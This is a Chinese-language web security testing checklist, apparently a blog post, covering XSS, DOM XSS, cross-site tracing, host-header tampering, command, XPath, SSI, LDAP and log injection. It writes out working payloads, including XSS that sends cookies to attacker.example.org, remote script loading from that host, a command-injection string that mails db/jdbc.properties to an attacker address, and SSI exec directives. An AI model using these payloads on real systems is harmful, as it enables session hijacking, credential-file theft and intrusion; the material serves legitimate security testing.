多层面安全测试

1)使用xss窃取cookie

窃取cookiejavascript

<script>document.write('<img height=0 width=0 src="http://attacker.example.org/cookie_log?cookie=' +encodeURI(document.cookie)+' "/>')</script>

窃取cookie的恶意URL

http://www.example.com/example?vulnerable_param=%3cscript%3edocument.write('%3cimg%20height=0%20width=0%20src=%22http://attacker.example.org/cookie_log?cookie='%20+encodeURI(document.cookie)+'%20%22/%3e')%3c/script%3e

2)使用XSS创建覆盖(控制视图让受害者认为他们在访问预期的站点)

插入来自另一台服务器的javascript文件

<script src = "http://attacker.example.org/login_overlay.js"></script>

login_overlay.js源码如下:

3)使用XSS产生HTTP请求(提交请求,解析响应,提取有效信息)

4)以交互方式尝试基于DOMXSS

攻击方法:将xss测试字符串注入到url的特定部分,这些部分是由客户端js代码进行处理并输出给用户的

漏洞:客户端的js处理用户输入并将它显示给用户而不加以编码和筛选

基于DOMXSS漏洞的例子

<script>

function displayfragment(){

Fragment=document.createElement("div");

Fragment.innerHTML="<h2>"+location.hash.substring(1)+"</h2>";

/*....*/

document.getElementsByTagName("body").item(0).appendChild(Fragment);

}

</script>

攻击:

http://www.example.com/diplay#<script src='http://attacker.example.org/xss.js'></script>

http://www.example.com/display#<script>alert('XSS')</script>

5)绕过字段长度限制XSS

有多个长度受限的字段以某种标点或html标签连接在一起或相同输入字段的多个实例显示在同一页面中

<script>/*

*/alert(/*

*/"XSS")/*

*/</script>

<tr><td><script>

/*</td></tr><tr><td>*/

alert(

/*</td></tr><tr><td>*/

"XSS")

/*</td></tr><tr><td>*/

</script></td></tr>

6)以交互方式尝试跨站式跟踪

cookie中设置了HttpOnly属性,浏览器将不允许任何javascript代码访问该cookie。但是,如果目标web服务器支持TRACE操作,那么攻击者仍然可以窃取这个cookie

可以采用3)将XMLHttpRequest.open()函数调用中的GET替换为TRACE,接着,可以从服务器的响应中解析cookie

7)修改host

攻击方法:在网络浏览器的地址栏中输入像http://www.example.com/这样的URL,发起对目标的连接,然后用webscarab截获请求,将host头中的端口修改为目标应用服务器的管理端口并提交请求(http://www.example.com:8000这样的内容),如果浏览器因此而显示出应用服务器的管理页面,那么所部署的应用就没有通过测试

8)暴力猜测用户名和密码

允许用户自己注册账号的应用,可以被攻击者用来列举用户名。当得到有效的用户名后,可以用来确定应用是否有账户锁定功能(输入若干次不正确的密码)

9)以交互方式尝试PHP包含文件注入

如果应用中的某些php代码接收用户的变量输入,然后将它传递给include()或require(),就存在这样的漏洞

10)以交互方式尝试命令注入

windows命令注入字符串,命令之间用&分开

%26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulnx.txt %26

' %26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulnx.txt %26

" %26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulnx.txt %26

unix命令注入字符串,命令之间用;分开

%3B echo Command Injection Vulnerability %3E%3E %2Ftemp%2Fvulns.txt %3B

' %3B echo Command Injection Vulnerability %3E%3E %2Ftemp%2Fvulns.txt %3B

" %3B echo Command Injection Vulnerability %3E%3E %2Ftemp%2Fvulns.txt %3B

存在命令注入漏洞的样例perl代码行

$message = `cat /usr/$USERNAME/inbox.txt`

something %3B sendmail attacker%401example.com %3C db%2Fjdbc.properties %3B echo 

cat /usr/something; sendmail attacker@example.com < db/jdbc.properties ;echo /inbox.txt

11)系统地尝试命令注入

12)以交互方式尝试XPath注入

1 or 1=1

1' or '1'='1' or '1'='1

1" or "1" ="1" or "1"="1

存在xpath漏洞的xpath查询的例子

/users/user[username/text()='username' and passord/text() = 'password']/realname/text()

xpath注入

']/text() | /users/user[username/text()='asethi']/password/text() | /a[textt()='

注入后的语句:会返回username=asethipassword

/users/user[username/text()='username' and passord/text() = '']/text() | /users/user[username/text()='asethi']/password/text() | /a[textt()='']/realname/text()

13)以交互方式尝试服务器端包含SSI注入

服务器端包含:一种服务器端的脚本语言,它允许在网页中包含简单的动态内容,如果服务器生成某些包含着由用户控制的输入的动态内容并处理SSI指令,那么攻击者就可以使用服务器执行任意的命令

SSI注入:

<!--%23echo var="DATE_LOCAL"-->

<!--%23exec cmd="command"-->

<!--%23include virtual="/web.config"-->

14)系统地尝试服务器端包含SSI注入

15)以交互方式尝试LDAP注入

LDAP轻量级目录访问协议:管理凭证和对用户进行身份验证。如果应用不仔细处理用户的输入就将它添加到LDAP查询,恶意用户就可以修改查询逻辑,无需知道任何凭证就可以使自己通过身份验证,获得对敏感信息的访问权限,甚至添加或删除内容

LDAP注入:

*

* *)(|(cn=*

*)(|(cn=*)

*)(|(cn=*))

normalInput)(|(cn=*

normalInput)(|(cn=*)

normalInput)(|(cn=*))

LDAP查询:在查询时至少返回一项纪录时认为用户通过身份验证

(&cn=username)(password=userPassword)) 根据用户名和密码进行搜索

(&(cn=username)(type=Users)) 根据用户名进行搜索

 

如果没有使用SSL来保护应用和LDAP服务器之间的通信,就可以使用网络嗅探器来查看应用的查询以及LDAP服务器的响应。应用的日志或LDAP服务器日志也是可能找到生成的查询的位置

16)以交互方式尝试日志注入

%1B%5B41m%1B%5B37m

%1B%5B%32%4A

%0AUser admin logged in

<script src = "http://attacker.example.org/xss_exploit.js"/>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值